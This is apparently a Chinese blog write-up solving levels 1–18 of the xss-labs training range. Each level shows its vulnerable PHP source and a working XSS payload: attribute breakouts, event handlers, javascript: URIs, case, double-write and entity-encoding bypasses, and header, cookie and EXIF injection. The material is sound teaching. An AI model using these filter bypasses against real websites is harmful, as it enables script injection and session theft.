Xss-labs靶场通关

XSS前言

在这里插入图片描述

level1

我们来看看第一关,看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

观察源代码可以看到变量$str,GET了一个变量,并没有做什么过滤,可以在这里进行XSS注入

http://127.0.0.1/xss-labs-master/level1.php?name=<script>alert(1)</script>

第一关完成了
在这里插入图片描述

level2

首先我们还是先看一下这一关
在这里插入图片描述
我先尝试在搜索框注入,但是好像没啥用
在这里插入图片描述
看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到有一个函数htmlspecialchars()
在这里插入图片描述
我们再看一下网页的源代码
在这里插入图片描述
可以看到在

标签之中的恶意代码被编码了,其中<、>都被编码成了html字符实体。可以知道是函数htmlspecialchars()在服务器端对keyword参数的值进行了处理,往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回的。但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。

既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。

操作如下:

http://192.168.92.157/xss-labs-master/level2.php?keyword="><script>alert('xss')</script>//

在这里插入图片描述
可以看到成功执行了,这关也成功的注入了,看一下网页源代码
在这里插入图片描述
从图中可以看出,在<h2></h2>标签中的恶意代码依然被编码了。但是在下方<input>标签中我们提交的代码成功的对引号和标签进行了闭合,这样浏览器就能成功执行js代码了。在我们构造的恶意代码中最后的//是为了将后面的">注释掉。

<input name=keyword  value=""><script>alert('xss')</script>//">

level3

直接看一下源代码,现在value参数值也被htmlspecialchars函数检测了一遍,第二关的方法不能用了

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

发现过滤了很多,像<,>,=这些都被过滤了,尝试了很多都没能成功。
这里get到一个新的知识点
通过<input>标签的一些特殊事件来执行js代码
payload:

level3.php?keyword='οnfοcus=javascript:alert('xss') > //

输入payload的时候,并没有以往的成功的弹窗跳出来
在这里插入图片描述
这是因为onfocus事件的特殊性造成的

onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.

最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时,输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。
在这里插入图片描述

less4

看一下这一关的页面
在这里插入图片描述
我这边尝试用第三关的方法去注入,但是失败了,然后我们看一下页面源代码,发现第三关的单引号变成双引号了
在这里插入图片描述
这下我们改成双引号注入
在这里插入图片描述
XSS注入成功
在这里插入图片描述

less5

我们来看一下第五关
在这里插入图片描述
尝试一下最简单的XSS语句,发现有过滤
在这里插入图片描述
尝试第三第四关的方法,发现也有过滤
在这里插入图片描述
此处既然无法通过<script>标签或触发事件来执行js代码的话,那么可以换一个标签来执行js代码。
payload:
?keyword="><a href=javascript:alert(1)>xss</a>//
在这里插入图片描述
XSS测试完成
在这里插入图片描述

less6

看一下这一关
在这里插入图片描述

注定是难搞的一关,第五关的方法也失败了,之前几关的方法我就不尝试了,肯定也是不行的
在这里插入图片描述
我们看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

观察代码我们可以看出来,并没有过滤大小写,所以我们尝试一下看看大写能不能绕过
payload:
?keyword="><a hRef=javascript:alert(1)>xss</a>//
XSS测试成功
在这里插入图片描述
在这里插入图片描述

less7

看一下第七关又是什么样的图片
在这里插入图片描述
这次我学聪明了,还是直接看源代码吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

这次过滤的更多了,不过观察代码可以看到,一些关键字会被替换成空格,如果我用双写绕过呢,说干就干
payload:
?keyword="><a hrhrefef=javasscriptcript:alert(1)>xss</a>//
XSS测试成功
在这里插入图片描述
在这里插入图片描述

less8

到了第八关了
在这里插入图片描述
这次我们还是直接看一下源代码,发现之前能走的路都被封了

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

观察页面源代码我们可以知道我们写入的语句,都会放到友情链接那里
在这里插入图片描述
测试可以发现很多绕过
在这里插入图片描述
在这里插入图片描述
我们可以对我们提交的js代码进行编码
在这里插入图片描述
发现成功了
在这里插入图片描述

level9

来看一下第九关
在这里插入图片描述
我们还是来看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

这关代码和上一关确实挺像的,不同的是需要判断如果字符中有没有http://,没有的话就会返回false,接着在href属性值中就会出现"您的链接不合法?有没有!"判断成功后,返回第一次出现的位置,将该字符插入到href属性值中了。

只要里面有http://就可以了,并没有说在什么位置,所以我们可以在语句中利用链接,但是又有过滤,所以我们可以利用编码,只编码一个英文字母
在这里插入图片描述
之间需要插入//,否则不会成功执行弹窗
payload:

javascrip&#116;:alert(/xss/)//http://www.baidu.com   //Unicode编码

或者

javascrip&#x74;:alert(/xss/)//http://www.baidu.com

成功通过
在这里插入图片描述

level10

和前几关有点不一样了,像是变异了一样
在这里插入图片描述
观察源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

发现和之前有点不一样的是,多了一个参数$t_sort,也许我们可以利用这个参数,观察这个代码可以看到,<和>都被过滤了,没办法使用了,我用编码的方式也没有成功。
paylaod:

" type="text" οnclick=alert(/xss/)" #因为页面中没有触发事件框,所以type="text"构造一个文本框

在这里插入图片描述
完成关卡
在这里插入图片描述

level11

欢迎来到第十一关
在这里插入图片描述
我就直接看源代码了就不测试了

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

我们可以看到上一关的那个变量$t_sort已经被函数htmlspecialchars()洗礼了,不能用了
但是我们可以看到有一个地方可以用,就是$t_ref,它是接收了$_SERVER['HTTP_REFERER']这个请求头

那我们就抓一下包,测试一下,我一开始是这样测试的,但是放到最后不管咋样都是请求超时,给我整不会了
在这里插入图片描述
看到人家都是把这个往上面放放,我也去试了一下,发现就成功了,多多少少有点离谱,我也不知道原因
payload:referer:"type="text" onclick="alert('xss')
在这里插入图片描述
有了框框,成功注入
在这里插入图片描述

level12

看一下第12关
在这里插入图片描述
直接看源码了,就不那么麻烦了

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

其实和上一关差不多,就是注入点变成了User-Agent,直接抓包修改
在这里插入图片描述
成功注入了
在这里插入图片描述

level13

Let me see
在这里插入图片描述
再看一下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

和上两题类似,这里的注入点是Cookie
在这里插入图片描述
成功注入
在这里插入图片描述

level14

看网上都说打不了,字节也没找到什么注入的地方
在这里插入图片描述
查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具
命令如下:

exiftool -FIELD=XSS FILE

exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg

level15

到十五关看一下
在这里插入图片描述
就这样空洞洞的,啥也没有,我们来看一下源码

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

发现引入了一个变量$str,但是我们可以看到函数htmlspecialchars()对变量$str进行了过滤。
我们提交的参数src的值被插入到了<span>标签的class属性值中,但是前面还有ng-include这样的字符
那我们就正好来了解下ng-include指令的一些具体的用法

1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别

既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
构造代码:

?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'

因为这里的参数值算是一个地址,所以需要添加引号。
因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是访问了该参数值中的地址之后把它响应在浏览器端的html文件给包含进来的意思。
成功弹窗了。
在这里插入图片描述

level16

欣赏一下第16关
在这里插入图片描述
测试了一下,发现被过滤了,输入的字符变成了空格
在这里插入图片描述
我们还是看一下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

看网页源码,并没有什么特殊的地方,只是参数值被插入到了<center>标签中
在这里插入图片描述
我们通过源码可以看到
在这里插入图片描述
1.将参数值中的script替换成&nbsp;
2.将参数值中的空格也替换成&nbsp;
3.将参数值中的/符号替换成&nbsp;
绕过思路:可以用回车将他们分开
而且这里的/符号也被编码了,所以我们需要的是一个不需要闭合的标签,比如我们之前所用过的<img>
构造语句:

<img
src="111"
onerror=alert('xss')
>

回车可以用url编码格式%0a来表示
成功实现
在这里插入图片描述

level17

看一下第17关,以及url显示
在这里插入图片描述
我们看一下前端源码
在这里插入图片描述
发现其两个变量使用=符号拼接的形式被加入到<embed>标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口,常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。

所以我们在b的后边加入onclick(点击后触发)或则onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用

构造payload:

http://192.168.92.157/xss-labs-master/level17.php?arg01=a&arg02=b οnmοuseοver=alert('hack')

但是在火狐浏览器中,发现该组件根本不显示,完全不给我们事件触发的机会,无法利用了,那怎么办呢。浏览资料发现有些浏览器会将无用组件直接屏蔽,但有些不会。所以我们转到edge试一下
发现测试成功,完成的不错。
在这里插入图片描述

level18

欢迎来到第18关
在这里插入图片描述
看一下源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

发现和17关没有什么区别,也是拼接,用17关的payload,也一样成功了
在这里插入图片描述


版权声明:本文为weixin_52125240原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
THE END
< <上一篇
下一篇>>